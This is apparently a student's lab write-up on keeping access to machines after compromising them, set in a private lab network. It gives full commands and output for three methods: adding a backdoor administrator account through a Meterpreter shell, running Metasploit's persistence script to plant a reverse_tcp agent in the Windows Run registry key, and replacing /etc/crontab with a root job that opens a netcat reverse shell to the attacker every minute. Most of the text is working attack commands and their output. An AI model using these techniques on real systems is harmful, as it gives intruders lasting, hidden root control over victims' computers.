Yoni Shieber יוני שיבר

ID: 307996488

Persistence

In all the experiments we have carried out so far for the purpose of exploiting weaknesses, we have shown how to take control of the victim's computers But every time we want to get access to the victim's computer, we will have to go through all the process is restarted, also, for example, in the case that the process is closed or the computer has been restarted. That's why we want to ensure that we can permanently take over the victim's computer after we've hacked it once, And without having to go through the whole re-entry process.

We had 3 main ways in order to get Persistence:

1. By adding new user and make him administrator.
2. Using msf build in command persistence.
3. Using tasks scheduler (Unix).

Lets demonstrate one by one. All after we had control over the target machines as we discuss in previous chapters.

1. Adding new user:

windows:

```
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.237.130:4444
[*] Starting the payload handler...


[*] Sending stage (769024 bytes) to 192.168.237.133
[*] Meterpreter session 24 opened (192.168.237.130:4444 -> 192.168.237.133:1135) at
 2022-12-19 10:51:15 -0500

meterpreter >
meterpreter >
meterpreter > getuid
Server username: BOOKXP\georgia
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
[-] Failed to spawn shell with thread impersonation. Retrying without it.
Process 1648 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\georgia\Desktop>net user attacker pass /add
net user attacker pass /add
The command completed successfully.


C:\Documents and Settings\georgia\Desktop>
```

and set attacker user as admin:

```
C:\Documents and Settings\georgia\Desktop>net localgroup Administrators attacker /a
dd
net localgroup Administrators attacker /add
The command completed successfully.


C:\Documents and Settings\georgia\Desktop>
```

lets take a look from target:

Great. We have a new user with administrator privileges with password we set and we can connect him when we want (using ssh or rdp).

Linux: the same way. Adduser command (demonstrate in mmn 21).

2. Using Metasploit persistence command.

Metasploit runs script that allow us connect when we want. Let's see

Flags: r : attacker IP. p : port U: make connection every time when user is connected.

```
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.237.130:4444
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.237.147
[*] Meterpreter session 21 opened (192.168.237.130:4444 -> 192.168.237.147:59288) a
t 2022-12-19 10:36:21 -0500

meterpreter > run persistence -r 192.168.237.130 -p 4444 -U
[*] Running Persistance Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/WIN-IUCM6Q3J1
35_20221219.3723/WIN-IUCM6Q3J135_20221219.3723.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.237.130 LPORT=44
44
[*] Persistent agent script is 148464 bytes long
[+] Persistent Script written to C:\Users\GEORGI~1\AppData\Local\Temp\bSVBXBT.vbs
[*] Executing script C:\Users\GEORGI~1\AppData\Local\Temp\bSVBXBT.vbs
[+] Agent executed with PID 3280
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\z
bmbqgtKY
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\zb
mbqgtKY
meterpreter > reboot
Rebooting...
meterpreter >
[*] 192.168.237.147 - Meterpreter session 21 closed.  Reason: Died
```

after reboot we lose connection. But as result of running persistence, we can achieve control immediately again when user is connecting, by open reverse tcp listening on attacker:

```
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.237.130:4444
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.237.147
[*] Meterpreter session 22 opened (192.168.237.130:4444 -> 192.168.237.147:49184) a
t 2022-12-19 10:41:35 -0500

meterpreter >
```

3. Using task scheduler

We can add automatic task scheduled by adding it to /etc/crontab file. (duo to root privileges needed we do by using webdav vulnerability).

before we exploit the ubuntu machine and see what in crontab file:

```
root@kali:~# nc -lvp 12345
nc: listening on :: 12345 ...
nc: listening on 0.0.0.0 12345 ...
nc: connect to 192.168.237.130 12345 from 192.168.237.145 (192.168.237.145) 5743
6 [57436]

whoami
root
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --repor
t /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --repor
t /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --repor
t /etc/cron.monthly )
#
```

We create in attacker new file (because it impossible edit it), same as original bu we add line that scheduled connection to attacker every one minute:

```
  GNU nano 2.2.6              File: mycron

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --repo$
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --repo$
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --repo$
*/1 *   * * *   root    nc 192.168.237.130 23456 -e /bin/bash
#
```

Uploading it to apache :

```
root@kali:~# nano mycron
root@kali:~# ls
crmPHehH.jpeg  index1.xml  Internet.lnk  NMBIkQQx.jpeg      wsnmp32.dll
Desktop        index.xml   mycron        OKmeterpreter.php
root@kali:~# cp mycron /var/www/mycron
```

Downloading it to target by wget and cat it into original crontab file:

```
wget 192.168.237.130/mycron
cat mycron > /etc/crontab
```

and resetart the service:

```
service crontab restart
```

Great! Now we just open a listener in attacker:

```
root@kali:~# nano mycron
root@kali:~# ls
crmPHehH.jpeg  index1.xml  Internet.lnk  NMBIkQQx.jpeg      wsnmp32.dll
Desktop        index.xml   mycron        OKmeterpreter.php
root@kali:~# cp mycron /var/www/mycron
root@kali:~# nc  -lvp 23456
nc: listening on :: 23456 ...
nc: listening on 0.0.0.0 23456 ...
```

after about 1 minute:

```
root@kali:~# nano mycron
root@kali:~# ls
crmPHehH.jpeg  index1.xml  Internet.lnk  NMBIkQQx.jpeg      wsnmp32.dll
Desktop        index.xml   mycron        OKmeterpreter.php
root@kali:~# cp mycron /var/www/mycron
root@kali:~# nc  -lvp 23456
nc: listening on :: 23456 ...
nc: listening on 0.0.0.0 23456 ...
nc: connect to 192.168.237.130 23456 from 192.168.237.145 (192.168.237.145) 4136
0 [41360]
whoami
root
```

we got root shell!